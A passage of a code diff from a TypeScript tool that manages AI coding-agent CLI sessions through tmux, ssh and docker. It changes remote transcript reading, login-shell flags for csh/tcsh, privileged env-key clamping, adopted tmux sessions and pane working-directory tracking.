+    '    bs=$4; [ "$bs" -le "$s" ] || bs=$s',
+    '    be=$(($4 + $5)); [ "$be" -le "$s" ] || be=$s',
+    '    n=$((be - bs)); [ "$n" -le "$budget" ] || n=$budget',
+    '    start=$((be - n))',
+    '  elif [ "$3" = r ]; then',
+    '    start=$4; [ "$start" -le "$s" ] || start=$s',
+    '    n=$((s - start)); [ "$n" -le "$budget" ] || n=$budget',
+    '  else',
+    '    n=$s; [ "$n" -le "$budget" ] || n=$budget',
+    '    start=$((s - n))',
+    '  fi',
+    '  budget=$((budget - n))',
+    '  printf \'%s\\0%s\\0%s\\0%s\\0\' "$1" "$s" "$start" "$n"',
+    '  [ "$n" -eq 0 ] || bytes "$2" "$start" "$n"',
+    '}',
+    // The valid names, one per line in byte order (the glob's order under `C`). Nothing but
+    // `[A-Za-z0-9_.-]` is left, so the unquoted `$(…)` below splits on them and globs nothing.
+    // A function, because bash 3.2 (macOS `sh`) cannot parse a `case` inside `$(…)`.
+    'subagent_names() {',
+    '  for f in "${best%.jsonl}"/subagents/agent-*.jsonl; do',
+    '    b=${f##*/}',
+    '    case $b in agent-.jsonl|agent-*[!A-Za-z0-9_-]*.jsonl) continue ;; esac',
+    '    printf \'%s\\n\' "$b"',
+    '  done',
+    '}',
+    mainLine,
+    `for b in $(subagent_names${rangeFilter}); do`,
+    '  f=${best%.jsonl}/subagents/$b',
+    '  [ -f "$f" ] || continue',
+    '  case $b in',
+    ...subagentCases,
+    ...newSubagent,
+    '  esac',
+    'done',
+  ].join('\n');
+  return `sh -c ${shellescape(script)}`;
+}
+
+/**
+ * Parse {@link buildRemoteClaudeEditSourcesCommand} output, byte-exact on the Buffer (a chunk
+ * may end mid UTF-8 sequence, so nothing here measures decoded strings). Everything before
+ * the first NUL is rc-file chatter. `null` = protocol broken: a missing or malformed header
+ * field, an unknown relPath, a slice outside the file or a body shorter than its length.
+ */
+export function parseRemoteClaudeEditSources(stdout: Buffer): EditSources | null {
+  let pos = stdout.indexOf(0);
+  if (pos === -1) return null;
+  pos += 1;
+
+  const readField = (): string | null => {
+    const end = stdout.indexOf(0, pos);
+    if (end === -1) return null;
+    const field = stdout.toString('utf8', pos, end);
+    pos = end + 1;
+    return field;
+  };
+  const readNumber = (): number | null => {
+    const field = readField();
+    if (field === null || !/^\d+$/.test(field)) return null;
+    const value = Number(field);
+    return Number.isSafeInteger(value) ? value : null;
+  };
+
+  const transcriptId = readField();
+  if (!transcriptId || !CLAUDE_TRANSCRIPT_ID_PATTERN.test(transcriptId)) return null;
+
+  const files: EditSources['files'] = [];
+  const metas: Record<string, string> = {};
+  while (pos < stdout.length) {
+    const relPath = readField();
+    const size = readNumber();
+    const startOffset = readNumber();
+    const len = readNumber();
+    if (relPath === null || size === null || startOffset === null || len === null) return null;
+    if (startOffset + len > size || pos + len > stdout.length) return null;
+    const chunk = stdout.subarray(pos, pos + len);
+    pos += len;
+
+    const meta = EDIT_SOURCE_META_REL_PATH_PATTERN.exec(relPath);
+    if (meta) {
+      metas[meta[1]] = chunk.toString('utf8');
+    } else if (EDIT_SOURCE_REL_PATH_PATTERN.test(relPath)) {
+      files.push({ relPath, size, startOffset, chunk });
+    } else {
+      return null;
+    }
+  }
+  return { transcriptId, files, metas };
+}
+
+/**
+ * Runs one read command on the host: its stdout, at most `maxBytes`, or null for "no such
+ * transcript" ({@link TRANSCRIPT_NOT_FOUND_EXIT}).
+ */
+export type RemoteEditSourceRunner = (command: string, maxBytes: number) => Promise<Buffer | null>;
+
+/**
+ * Run the round trips of a read ({@link planRemoteEditSourceRounds}) one after the other and
+ * merge them into what one read returns. Budget and meta budget carry over: a later round trip
+ * gets what the earlier ones left, and still lists its files, because a requested file missing
+ * from the result counts as deleted and loses its cursor. So a read is all or nothing: a failed
+ * round trip fails it, and nothing of it reaches the store.
+ */
+export async function readRemoteEditSourceRounds(
+  mainPath: string,
+  requests: readonly EditSourceRequest[],
+  budgetBytes: number,
+  opts: EditSourceReadOptions,
+  run: RemoteEditSourceRunner,
+  perRound?: number
+): Promise<EditSources | null> {
+  let budget = Number.isFinite(budgetBytes) ? Math.max(0, Math.floor(budgetBytes)) : 0;
+  let metaBudget = EDIT_SOURCE_META_BUDGET_BYTES;
+  const merged: EditSources = { transcriptId: '', files: [], metas: {} };
+  for (const round of planRemoteEditSourceRounds(requests, perRound)) {
+    const stdout = await run(
+      buildRemoteClaudeEditSourcesCommand(mainPath, round.requests, budget, { ...opts, round, metaBudget }),
+      budget + metaBudget + EDIT_SOURCE_HEADER_SLACK_BYTES
+    );
+    if (!stdout) return null;
+    const parsed = parseRemoteClaudeEditSources(stdout);
+    if (!parsed || !mainPath.endsWith(`/${parsed.transcriptId}.jsonl`)) {
+      throw new RemoteFileAccessError('unexpected output from the remote edit-history read');
+    }
+    merged.transcriptId = parsed.transcriptId;
+    merged.files.push(...parsed.files);
+    Object.assign(merged.metas, parsed.metas);
+    for (const file of parsed.files) budget -= file.chunk.length;
+    for (const text of Object.values(parsed.metas)) metaBudget = Math.max(0, metaBudget - Buffer.byteLength(text));
+  }
+  return merged;
+}
+
+/**
+ * Read a remote claude session's transcripts (see {@link readRemoteEditSourceRounds}), the
+ * remote twin of `readClaudeEditSources`. `null` when `mainPath` does not exist; an unreachable
+ * host, an ssh failure or broken output is a `RemoteFileAccessError`. Each round trip takes its
+ * own slot of the ssh limiter. Never wakes.
+ */
+export async function remoteReadClaudeEditSources(
+  remote: SessionRemote,
+  mainPath: string,
+  requests: readonly EditSourceRequest[],
+  budgetBytes: number,
+  opts: EditSourceReadOptions = {}
+): Promise<EditSources | null> {
+  assertNotUnderTest();
+  return readRemoteEditSourceRounds(mainPath, requests, budgetBytes, opts, async (command, maxBytes) => {
+    try {
+      const result = await runWithRemoteSshLimit(() =>
+        execAsync(buildRemoteEditHistoryCommand(remote, command), {
+          timeout: remoteEditSourcesTimeoutMs(maxBytes),
+          maxBuffer: maxBytes,
+          encoding: 'buffer',
+        })
+      );
+      return Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout);
+    } catch (err) {
+      if ((err as { code?: unknown }).code === TRANSCRIPT_NOT_FOUND_EXIT) return null;
+      throw new RemoteFileAccessError(
+        `remote host ${remote.label || remote.host} unreachable: ${describeExecError(err)}`
+      );
+    }
+  });
+}
+
 /**
  * Command that writes a remote file's bytes to stdout.
  *

src/remote-hosts.ts

@@ -66,13 +66,28 @@ export async function writeRemoteCases(configDir: string, cases: RemoteCase[]):
  * arrival, the #208 failure all over again (verified: `sh -c 'exec $SHELL -i -l'`
  * with SHELL unset prints `exec: -i: not found`). In practice tmux always exports
  * SHELL into a pane from its own `default-shell` option, so the command as USED
- * here is safe either way (also verified). The default matters because these
- * strings are the seed values a per-host `commands.*` override is edited from, and
- * nothing constrains where an edited one ends up running. Quoted for a shell path
- * containing spaces. `/bin/sh` exists on every POSIX host.
+ * here is safe either way (also verified). Quoted for a shell path containing
+ * spaces. `/bin/sh` exists on every POSIX host.
+ *
+ * ⚠️ This is POSIX text. fish refuses `${…}` (status 127), so a launch hands it to
+ * `/bin/sh -c`, never to the remote default-shell (`buildRemoteLaunchCommand`).
  */
 const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
 
+/**
+ * The remote login shell with the flags that make it one, as ONE compound command, so
+ * `cd <path> && <this>` keeps its short-circuit (a failed `cd` must not start a shell in
+ * the wrong folder). `args` follows the flags verbatim.
+ *
+ * The flags are chosen on the far end: the shell is whatever the REMOTE passwd says, so
+ * this is `loginShellArgs()` run where the answer is known. tcsh honors `-l` only as its
+ * ONLY flag and exits on `-i -l -c`, `-l -c` and `-i -l` (measured on tcsh 6.24), and
+ * `-c` needs no login flag to read `.tcshrc`, so csh and tcsh get neither flag.
+ */
+function remoteLoginShell(args: string): string {
+  return `{ set -- -i -l; case \${SHELL##*/} in csh|tcsh) set --;; esac; exec ${REMOTE_LOGIN_SHELL} "$@"${args}; }`;
+}
+
 /**
  * Run `command` through the remote user's interactive login shell, so per-user
  * PATH entries (~/.local/bin, ~/.opencode/bin, …) are resolved before the CLI name
@@ -80,13 +95,15 @@ const REMOTE_LOGIN_SHELL = '"${SHELL:-/bin/sh}"';
  * so a bare `exec claude` sees only sshd's minimal default PATH and dies with
  * "command not found" (exit 127).
  *
- * Shells that take neither flag (nushell, elvish, …) cannot be detected from here
- * the way `loginShellArgs()` detects them locally, since the shell is whatever the
- * REMOTE passwd says. A host like that is what the per-host `commands.*` override
- * is for.
+ * ⚠️ POSIX text, like `REMOTE_LOGIN_SHELL`: only `/bin/sh -c` may parse it.
+ *
+ * Other shells that take neither flag are what the per-host `commands.*` override is
+ * for. It only goes so far: the PATH bootstrap below runs in the login shell first, so
+ * a shell that cannot parse `export` at all (nushell, elvish) cannot be rescued by an
+ * override.
  */
 export function remoteLoginShellCommand(command: string): string {
-  return `exec ${REMOTE_LOGIN_SHELL} -i -l -c ${shellescape(command)}`;
+  return remoteLoginShell(` -c ${shellescape(command)}`);
 }
 
 /**
@@ -127,8 +144,9 @@ function overlayCliCommand(mode: SessionMode, location: 'remote' | 'docker'): st
  * user's interactive-login shell startup files (~/.zshrc etc.). ssh's remote-command
  * execution is neither interactive nor login, so a bare `exec claude` sees only sshd's
  * minimal default PATH and fails with "command not found" (exit 127) — confirmed via
- * `tmux capture-pane` on the remain-on-exit-preserved dead pane. Route through
- * `$SHELL -i -l -c`, the same fix shell mode uses, so PATH is fully resolved first.
+ * `tmux capture-pane` on the remain-on-exit-preserved dead pane. Route through the
+ * login shell (`remoteLoginShellCommand`), the same fix shell mode uses, so PATH is fully
+ * resolved first.
  *
  * ⚠️ The per-CLI half is now READ FROM THE REGISTRY (`overlays.remote`), not from a
  * hardcoded `Record<RemoteCommandMode, string>`. The table it replaces duplicated the
@@ -143,11 +161,13 @@ function overlayCliCommand(mode: SessionMode, location: 'remote' | 'docker'): st
  * The per-host `commands.*` override remains the escape hatch for every mode.
  */
 export function defaultRemoteCommandForMode(mode: SessionMode): string {
-  // $SHELL, not a hardcoded bash: sshd sets it from the remote user's /etc/passwd entry, so
-  // this launches their actual login shell (zsh, fish, …). `-i -l` so it sources rc files,
-  // matching the local shell-mode launch. Not templatable as overlay data: the shell is
-  // whatever the REMOTE passwd says, which is why `shell` is the one arm still written here.
-  const shellCommand = `exec ${REMOTE_LOGIN_SHELL} -i -l`;
+  // $SHELL, not a hardcoded bash: sshd sets it from the remote user's /etc/passwd entry, and
+  // tmux exports its default-shell as SHELL into the pane, so this launches their actual
+  // login shell, or the default-shell their tmux.conf picks (zsh, fish, …). `-i -l` where it
+  // takes them, so it sources rc files, matching the local shell-mode launch. Not templatable
+  // as overlay data: the shell is whatever the REMOTE passwd says, which is why `shell` is the
+  // one arm still written here.
+  const shellCommand = remoteLoginShell('');
   const cli = overlayCliCommand(mode, 'remote');
   return cli === null ? shellCommand : remoteLoginShellCommand(cli);
 }
@@ -321,13 +341,16 @@ function remoteCliBin(mode: SessionMode): string | undefined {
 
 /**
  * Build the SSH command that reads the remote CLI's version (`claude --version`
- * on the remote host). The version query is routed through
- * `remoteLoginShellCommand` (the SAME `$SHELL -i -l -c` wrapper the real
- * launch uses), because agent CLIs live on PATH only after the remote user's
+ * on the remote host). The version query runs under `$SHELL -i -l -c` like the real
+ * launch, because agent CLIs live on PATH only after the remote user's
  * interactive-login startup files run (see defaultRemoteCommandForMode); a bare
  * `claude --version` over ssh exits 127. Connection options come from the
  * shared `buildSshConnectionArgs`, so the probe reaches exactly the hosts the
  * launch can reach. Returns null for modes with no CLI (shell).
+ *
+ * ⚠️ One statement, never `remoteLoginShellCommand`: nothing hands this text to `/bin/sh`,
+ * the login shell parses it itself. fish and tcsh refuse the `${…}` either way, so such a
+ * host reports no version, the same as a failed probe, and its launch is not affected.
  */
 export function buildRemoteCliVersionProbeCommand(
   host: Pick<RemoteHost, 'username' | 'host' | 'port'> & RemoteSshOptions,
@@ -338,7 +361,7 @@ export function buildRemoteCliVersionProbeCommand(
   return [
     ...buildSshConnectionArgs(host),
     remoteSshTarget(host),
-    shellescape(remoteLoginShellCommand(`${bin} --version`)),
+    shellescape(`exec ${REMOTE_LOGIN_SHELL} -i -l -c ${shellescape(`${bin} --version`)}`),
   ].join(' ');
 }
 

src/session-cli-registry-bridge.ts

@@ -17,6 +17,7 @@
  * @module session-cli-registry-bridge
  */
 
+import { getDiscordStartupHint } from './discord-bridge.js';
 import type { CliEntry } from './config/cli-registry/types.js';
 import { renderLaunch, type EngineValues, type ParamValues } from './config/cli-registry/argv.js';
 import { matchesPattern } from './config/cli-registry/patterns.js';
@@ -258,6 +259,10 @@ export function buildSpawnCommandFromRegistry(entry: CliEntry, options: SpawnBri
     engineValues.effortSettingsJson = JSON.stringify(settingsObj);
   }
 
+  // The Discord bridge's startup hint: undefined (so the flag is omitted) unless the bridge and its
+  // `startupHint` setting are on. Claude-only in practice, like the settings object above.
+  engineValues.appendSystemPrompt = getDiscordStartupHint();
+
   // Preserves buildSpawnCommand's original fallback: an EXPLICIT `undefined` probes the
   // entry's own local CLI (gateVersion: claude's probe for claude, the registry resolver for
   // the rest, both null under vitest); an explicit `null` means "known to be unresolvable"

src/session-env-clamp.ts

@@ -26,13 +26,13 @@
  * re-resolves the grant at the moment it builds a session, for the same reason.
  *
  * @dependencies user-store (canUsernameRunPrivilegedCommands), config/cli-registry
- * @consumedby web/routes/session-routes, web/routes/reboot-restore-routes
+ * @consumedby web/routes/session-routes, web/routes/reboot-restore-routes, web/server
  *
  * @module session-env-clamp
  */
 
 import { canUsernameRunPrivilegedCommands } from './user-store.js';
-import { enabledClis } from './config/cli-registry/registry.js';
+import { listClis } from './config/cli-registry/registry.js';
 
 /**
  * Env-var keys a non-granted owner must not be able to set, because each one
@@ -68,7 +68,8 @@ import { enabledClis } from './config/cli-registry/registry.js';
  *   already allowlisted for pi and not addressed here — see resolveOmpHome()).
  */
 export function ownerClampedEnvKeys(): string[] {
-  return enabledClis().flatMap((entry) => entry.capabilities.privilegedEnvKeys);
+  // Every CLI, enabled or not: a session can outlive the switch that disabled its CLI.
+  return listClis().flatMap((entry) => entry.capabilities.privilegedEnvKeys);
 }
 
 /**

src/session.ts

@@ -29,7 +29,8 @@
  */
 
 import { EventEmitter } from 'node:events';
-import { basename } from 'node:path';
+import { basename, isAbsolute } from 'node:path';
+import { realpath } from 'node:fs/promises';
 import { execSync, execFileSync } from 'node:child_process';
 import { v4 as uuidv4 } from 'uuid';
 import * as pty from 'node-pty';
@@ -64,6 +65,7 @@ import {
   type SessionNameSource,
   type SessionWriteOptions,
   type PaneExit,
+  type SessionAdopt,
   type PromptCacheStatus,
   type StatusLineExporter,
   type KeepWarmStatus,
@@ -71,6 +73,9 @@ import {
 import type { GitFetchStatus } from './git-fetch.js';
 import { resolveAndClaimOmpSessionId } from './utils/omp-session-resolver.js';
 import { claudeTranscriptExists } from './utils/claude-transcript.js';
+import { probePathKind } from './utils/bounded-path-probe.js';
+import type { LiveWorktree } from './live-worktree.js';
+import { PATH_PROBE_TIMEOUT_MS, WORKSPACE_REALPATH_RETRY_MS } from './config/path-probe.js';
 import { matchesPattern } from './config/cli-registry/patterns.js';
 import { probeDockerCliVersion } from './docker-hosts.js';
 import { probeRemoteCliVersion } from './remote-hosts.js';
@@ -274,8 +279,8 @@ function getModeLabel(mode: SessionMode): string {
  *
  * Only such a CLI needs its version probed at session start — probing one with no gates
  * would spawn a `--version` subprocess whose answer nothing reads. Today that is claude
- * (the `--name` flag, gated at 2.1.224), which is why the probe used to be written as
- * `mode === 'claude'`.
+ * (the `--name` flag, gated at 2.1.224) and codex (`--no-daemon`, gated at 0.162.0). The
+ * probe used to be written as `mode === 'claude'`, when claude was the only one.
  */
 function cliNeedsVersionProbe(mode: SessionMode): boolean {
   return Object.keys(getCli(mode)?.capabilities.gates ?? {}).length > 0;
@@ -301,23 +306,21 @@ function cliExportsTruecolor(mode: SessionMode): boolean {
  * Codex, Claude Code, and Gemini are known, controlled (Ink/React) TUIs that
  * repaint via cursor positioning, so dropping the alt-screen switch is safe —
  * content stays in the normal buffer. Excluded: `shell` (arbitrary programs like
- * vim/less/htop legitimately need the alt screen), `opencode` (its own MIDDLE strip,
- * isMuxMouseStripMode), `pi` (below) and `grok` (a fullscreen alt-screen TUI with
+ * vim/less/htop legitimately need the alt screen), `opencode`, `copilot` and `pi` (their own
+ * MIDDLE strip, isMuxMouseStripMode) and `grok` (a fullscreen alt-screen TUI with
  * mouse support). Keep parity with the replay-side strip (`stripReplayBuffer` in
  * session-routes.ts); the table in `CliCapabilities.altScreen` is pinned for every
  * stock CLI in test/claude-scrollback-strip.test.ts.
  *
  * ⚠️ Being excluded here does NOT preserve the alt screen. Every excluded mode
- * falls through to isMuxAltScreenOnlyStripMode(), which strips the alt-screen
- * toggles too whenever the session is tmux-backed, and pi/opencode ALWAYS are
- * (both refuse the direct-PTY fallback). What exclusion actually buys is the rest
- * of the full strip: `\x1b[3J` and the mouse-tracking DECSETs survive. That is the
- * real reason pi is out: its default TUI renders into the MAIN screen with
- * terminal-owned scrollback and is mouse-aware, so it is a `3J`/mouse consumer in
- * a way an Ink TUI repainting in place is not. Consequence to know before
- * debugging it: pi's runtime-switchable fullscreen TUI (`/settings`, 0.84.0+)
- * still gets its `?1049h` stripped and paints into the main buffer, exactly like
- * vim inside a tmux `shell` session.
+ * falls through to isMuxMouseStripMode() or isMuxAltScreenOnlyStripMode(), which
+ * strip the alt-screen toggles too whenever the session is tmux-backed, and
+ * pi/opencode ALWAYS are (both refuse the direct-PTY fallback). What exclusion
+ * actually buys is the rest of the full strip: `\x1b[3J` survives, and for the
+ * narrow strip the mouse-tracking DECSETs too. pi (fullscreen by default since
+ * 1.0.0) is a mouse-aware TUI like opencode and copilot, so it takes the mouse
+ * strip (isMuxMouseStripMode): a drag selects locally and `cliMouseTracking`
+ * keeps the wheel working across a buffer replay.
  */
 export function isAltScreenStripMode(mode: SessionMode): boolean {
   return getCli(mode)?.capabilities.altScreen === 'strip-full';
@@ -398,6 +401,21 @@ const DOCKER_CLI_VERSION_PROBE_DELAY_MS = 3000;
 /** Delay before the over-ssh Claude CLI version probe (keeps session start off the ssh round-trip). */
 const REMOTE_CLI_VERSION_PROBE_DELAY_MS = 3000;
 
+/** Whether absolute `path` is `root` or lies under it (a lexical compare). */
+function isSameOrUnder(path: string, root: string): boolean {
+  return path === root || path.startsWith(root === '/' ? '/' : `${root}/`);
+}
+
+/**
+ * Rewrite `path` from under `from` to the same place under `to`; a path not at or
+ * under `from` comes back unchanged. Exported for unit testing.
+ */
+export function rebasePath(path: string, from: string, to: string): string {
+  if (path === from) return to;
+  if (path.startsWith(`${from}/`)) return to + path.slice(from.length);
+  return path;
+}
+
 /**
  * Ask tmux for the current window geometry of `muxName` so a re-attaching PTY
  * client can spawn at the same size and avoid the resize-flicker / scrollback
@@ -431,10 +449,25 @@ export function queryTmuxWindowSize(muxName: string, socket: string): { cols: nu
   return { cols: DEFAULT_PTY_COLS, rows: DEFAULT_PTY_ROWS };
 }
 
-export function resolveMuxAttachCwd(workingDir: string, remote?: SessionRemote, docker?: SessionDocker): string {
+export function resolveMuxAttachCwd(
+  workingDir: string,
+  remote?: SessionRemote,
+  docker?: SessionDocker,
+  adopt?: SessionAdopt
+): string {
   // Remote and docker sessions run the CLI elsewhere (ssh / docker exec); the LOCAL
   // wrapper pane never needs the workspace as its cwd, so launch it in /tmp.
-  return remote || docker ? '/tmp' : workingDir;
+  //
+  // ⚠️ An ADOPTED session needs the same treatment and does NOT get it from the
+  // two checks above: its connection facts live on `adopt.docker`/`adopt.remote`,
+  // so `session.docker` is undefined even for an in-container adoption. Its pane
+  // only attaches, so no folder on this host means anything to it. Measured against
+  // a real container, when `workingDir` still held the foreign pane's cwd: the local
+  // PTY spawn inherited `/workspace/pythonserver`, and the session came up with
+  // `pid: null` and a blank terminal while the wrapper tmux session and the
+  // in-container grouped view had both been created successfully, so it looked
+  // half-alive rather than failed.
+  return remote || docker || adopt ? '/tmp' : workingDir;
 }
 
 /**
@@ -743,6 +776,23 @@ export class Session extends EventEmitter {
    * rendered as "alive".
    */
   private _paneExit: PaneExit | null = null;
+  /**
+   * The pane's live directory, from the pane-exit watcher's read. Runtime-only:
+   * serialized by toState() but never restored by the constructor.
+   */
+  private _paneCwd: string | undefined;
+  /** See {@link liveWorktree}. */
+  private _liveWorktree: LiveWorktree | undefined;
+  /**
+   * `workingDir` with symlinks resolved, so a pane reading (tmux reads the
+   * process cwd, always the resolved path) can be put back into `workingDir`'s
+   * spelling. `undefined` until the first resolution settles; `null` when there
+   * is nothing to translate (no symlink in the path) or it could not be resolved.
+   */
+  private _workspaceRealPath: string | null | undefined;
+  private _workspaceRealPathPending = false;
+  /** When a resolution that met an unreachable folder may be tried again (0 = never). */
+  private _workspaceRealPathRetryAt = 0;
   /**
    * How many starts, attaches or relaunches are running for this session's
    * pane. While one is, a dead-pane reading may describe a pane that is being
@@ -847,6 +897,11 @@ export class Session extends EventEmitter {
   // local tmux + `docker exec`. The container is per-CASE (shared by sibling sessions).
   private readonly _docker?: SessionDocker;
 
+  // Adoption metadata, present when this session is a WRAPPER around a tmux
+  // session a human started outside Codeman. Its presence is the single switch
+  // that disables everything Codeman can only do to a process it launched.
+  private readonly _adopt?: SessionAdopt;
+
   // Owning username in multi-user mode (undefined in single-user). Stamped at create
   // from req.authUser and round-tripped through recovery like _remote/_docker.
   private _owner?: string;
@@ -972,6 +1027,8 @@ export class Session extends EventEmitter {
       remote?: SessionRemote;
       /** Docker execution metadata for sessions launched inside a container via local tmux. */
       docker?: SessionDocker;
+      /** Adoption metadata for a wrapper around a human-started tmux session. */
+      adopt?: SessionAdopt;
       /** Owning username (multi-user mode); undefined in single-user. */
       owner?: string;
       /** Session that spawned this one — tab lineage decoration, resolved by the caller. */
@@ -1142,6 +1199,7 @@ export class Session extends EventEmitter {
     this._tmuxHistoryLimit = config.tmuxHistoryLimit ?? DEFAULT_TMUX_HISTORY_LIMIT;
     this._remote = config.remote;
     this._docker = config.docker;
+    this._adopt = config.adopt;
     this._owner = config.owner;
     this._discoveredMuxSession = config.discoveredMuxSession === true;
     // Restored so a record that says the agent exited survives a server restart
@@ -1302,6 +1360,25 @@ export class Session extends EventEmitter {
     return this._remote;
   }
 
+  /** Adoption metadata when this session wraps a human-started tmux session. */
+  get adopt(): SessionAdopt | undefined {
+    return this._adopt;
+  }
+
+  /**
+   * Is this a wrapper around a tmux session Codeman did not start?
+   *
+   * ⚠️ Deliberately NOT folded into `isExternalCliMode()`. That predicate answers
+   * "does this CLI render its own TUI", which is about the PROTOCOL. This one
+   * answers "did we launch the process", which is about AUTHORITY: an adopted
+   * session can be `mode: 'claude'` and still have no hooks installed, no
+   * `envOverrides`, no effort and no `--session-id` we chose. Conflating the two
+   * would silently grant claude-shaped automation over a process we do not own.
+   */
+  get isAdopted(): boolean {
+    return this._adopt !== undefined;
+  }
+
   /**
    * `deepSeekConfig.statusReporting` verbatim: `undefined` when the caller sent
    * none (i.e. ON), `false` when the user disarmed the status bridge for this
@@ -1330,6 +1407,28 @@ export class Session extends EventEmitter {
     return value && value.trim() ? value.trim() : undefined;
   }
 
+  /**
+   * One env var from this session's overrides, for internal path resolution only
+   * (custom-model injection linking an isolated config dir back to a path that must
+   * survive lives in). Single-key lookup by design, like `deepSeekHomeOverride`: the
+   * map can hold provider credentials and stays off the public `SessionState`.
+   */
+  envOverrideValue(key: string): string | undefined {
+    const value = this._envOverrides?.[key];
+    return value && value.trim() ? value.trim() : undefined;
+  }
+
+  /**
+   * What the SESSION itself set for `key`, same single-key rule. `envOverrideValue()` answers
+   * with whatever the map holds, which under a selection is the injected value: a re-apply
+   * resolving the CLI's real home must read the session's own home, or none.
+   */
+  ownEnvValue(key: string): string | undefined {
+    const selection = this._customModel;
+    const value = selection?.envKeys.includes(key) ? selection.ownEnv?.[key] : this._envOverrides?.[key];
+    return value?.trim() || undefined;
+  }
+
   /** Owning username in multi-user mode, else undefined. */
   get owner(): string | undefined {
     return this._owner;
@@ -1395,13 +1494,20 @@ export class Session extends EventEmitter {
   /**
    * True when a tmux pane's death would mean THIS session's agent has exited.
    *
-   * Four shapes fail the test, and each would otherwise publish a death that is
+   * Five shapes fail the test, and each would otherwise publish a death that is
    * not the agent's. A direct-PTY session owns no pane at all. A remote SSH
    * session's local pane holds the ssh client, whose death means a transport
    * drop OR an exit, which is the ambiguity PR #355 was about. A docker case's
    * local pane holds a `docker exec` into the container's own tmux.
    *
-   * The fourth is a session rebuilt from the socket. Absent `remote`/`docker`
+   * ⚠️ An ADOPTED session is the same shape for a different reason: its pane runs
+   * `tmux attach` to a session a human started, never the agent. That attach exiting
+   * with 0 says the connection ended or its owner closed the foreign session; neither
+   * means this session finished, and neither is Codeman's to clear the tab for. Without
+   * this, the clean-exit sweep (`pane-exit-sweep.ts`) would close someone else's live
+   * session's tab the moment they detached from it themselves.
+   *
+   * The fifth is a session rebuilt from the socket. Absent `remote`/`docker`/`adopt`
    * normally means "this is local", but on a discovered record it only means
    * "Codeman never found the metadata": the synthetic `restored-<fragment>` id
    * matches no `state.json` entry, so a remote session rediscovered after
@@ -1410,7 +1516,7 @@ export class Session extends EventEmitter {
    */
   private get paneExitApplies(): boolean {
     if (this._discoveredMuxSession) return false;
-    return this._useMux && this._muxSession !== null && !this._remote && !this._docker;
+    return this._useMux && this._muxSession !== null && !this._remote && !this._docker && !this._adopt;
   }
 
   /** What Codeman last observed of this pane's agent, or undefined for UNKNOWN. */
@@ -1485,6 +1591,116 @@ export class Session extends EventEmitter {
     if (this._muxSession) this._mux?.clearPaneExit?.(this._muxSession.muxName);
   }
 
+  /** The pane's live working directory, when the pane read has reported one. */
+  get paneCwd(): string | undefined {
+    return this._paneCwd;
+  }
+
+  /**
+   * Record the pane's live directory. Returns whether it CHANGED, so the caller
+   * broadcasts only on a real transition.
+   *
+   * Scoped by {@link paneExitApplies}, the same rule as the exit reading: a
+   * remote session's local pane runs the ssh client and a docker case's runs a
+   * `docker exec`, so their pane directory is a host directory the agent was
+   * never in, and a direct-PTY or rediscovered session has no pane Codeman can
+   * vouch for. A relative value is refused rather than stored.
+   *
+   * tmux reads the pane's directory from the process cwd, which is always the
+   * resolved path, while `workingDir` keeps the spelling the case was created
+   * with. A workspace reached through a symlink would otherwise read as outside
+   * itself, and the browser's preview routing (a lexical compare against
+   * `workingDir`) would send every relative link to the attachment route. So a
+   * reading at or under the workspace's resolved path is written back in
+   * `workingDir`'s spelling. Until that resolution has settled, only a reading
+   * lexically inside `workingDir` is accepted.
+   */
+  setPaneCwd(next: string | undefined): boolean {
+    let resolved = this.paneExitApplies && next?.startsWith('/') ? next : undefined;
+    if (resolved !== undefined) {
+      if (
+        this._workspaceRealPath === undefined ||
+        (this._workspaceRealPathRetryAt !== 0 && Date.now() >= this._workspaceRealPathRetryAt)
+      ) {
+        this._resolveWorkspaceRealPath();
+      }
+      if (this._workspaceRealPath === undefined) {
+        // The workspace's resolved path is not known yet. A reading outside
+        // `workingDir` could be the workspace itself seen through its symlink, so
+        // it waits for the next tick rather than mis-route links for one.
+        if (!isSameOrUnder(resolved, this._workspaceSpelling())) return false;
+      } else if (this._workspaceRealPath !== null) {
+        resolved = rebasePath(resolved, this._workspaceRealPath, this._workspaceSpelling());
+      }
+    }
+    if (resolved === this._paneCwd) return false;
+    this._paneCwd = resolved;
+    return true;
+  }
+
+  /**
+   * The linked git worktree inside `workingDir` that {@link paneCwd} is in, when there is one
+   * (`live-worktree.ts`). The Files panel lists it instead of the main checkout. Runtime-only and
+   * never a confinement root, like `paneCwd`: it is judged lexically when the pane moves, and the
+   * listing route re-checks the real folder on every request.
+   */
+  get liveWorktree(): LiveWorktree | undefined {
+    return this._liveWorktree;
+  }
+
+  /** Record the result of a worktree lookup. Returns whether it CHANGED, so the caller broadcasts only then. */
+  setLiveWorktree(next: LiveWorktree | undefined): boolean {
+    if (next?.path === this._liveWorktree?.path) return false;
+    this._liveWorktree = next;
+    return true;
+  }
+
+  /** `workingDir` without a trailing separator (the root stays `/`). */
+  private _workspaceSpelling(): string {
+    return this.workingDir.length > 1 ? this.workingDir.replace(/\/+$/, '') : this.workingDir;
+  }
+
+  /**
+   * Resolve `workingDir`'s symlinks in the background for {@link setPaneCwd}.
+   *
+   * Bounded: the folder can sit on a network mount that stopped answering, so it
+   * is probed with `probePathKind()` first and the `realpath()` is raced against
+   * the same timeout. An `unknown` probe, a failed or slow `realpath()` leave no
+   * translation and allow one more try after `WORKSPACE_REALPATH_RETRY_MS`; a
+   * folder that is absent or not a directory is settled for good.
+   */
+  private _resolveWorkspaceRealPath(): void {
+    if (this._workspaceRealPathPending) return;
+    this._workspaceRealPathPending = true;
+    const spelling = this._workspaceSpelling();
+    void (async () => {
+      let real: string | null = null;
+      let retry = false;
+      try {
+        const kind = await probePathKind(spelling);
+        if (kind === 'unknown') {
+          retry = true;
+        } else if (kind === 'directory') {
+          let timer: ReturnType<typeof setTimeout> | undefined;
+          const answer = await Promise.race([
+            realpath(spelling).catch(() => undefined),
+            new Promise<undefined>((resolveTimeout) => {
+              timer = setTimeout(() => resolveTimeout(undefined), PATH_PROBE_TIMEOUT_MS);
+              timer.unref?.();
+            }),
+          ]).finally(() => clearTimeout(timer));
+          if (answer === undefined) retry = true;
+          else if (answer !== spelling && answer !== '/') real = answer;
+        }
+      } catch {
+        retry = true;
+      }
+      this._workspaceRealPath = real;
+      this._workspaceRealPathRetryAt = retry ? Date.now() + WORKSPACE_REALPATH_RETRY_MS : 0;
+      this._workspaceRealPathPending = false;
+    })();
+  }
+
   /**
    * Record what the mux layer observed of this pane's agent, and say whether
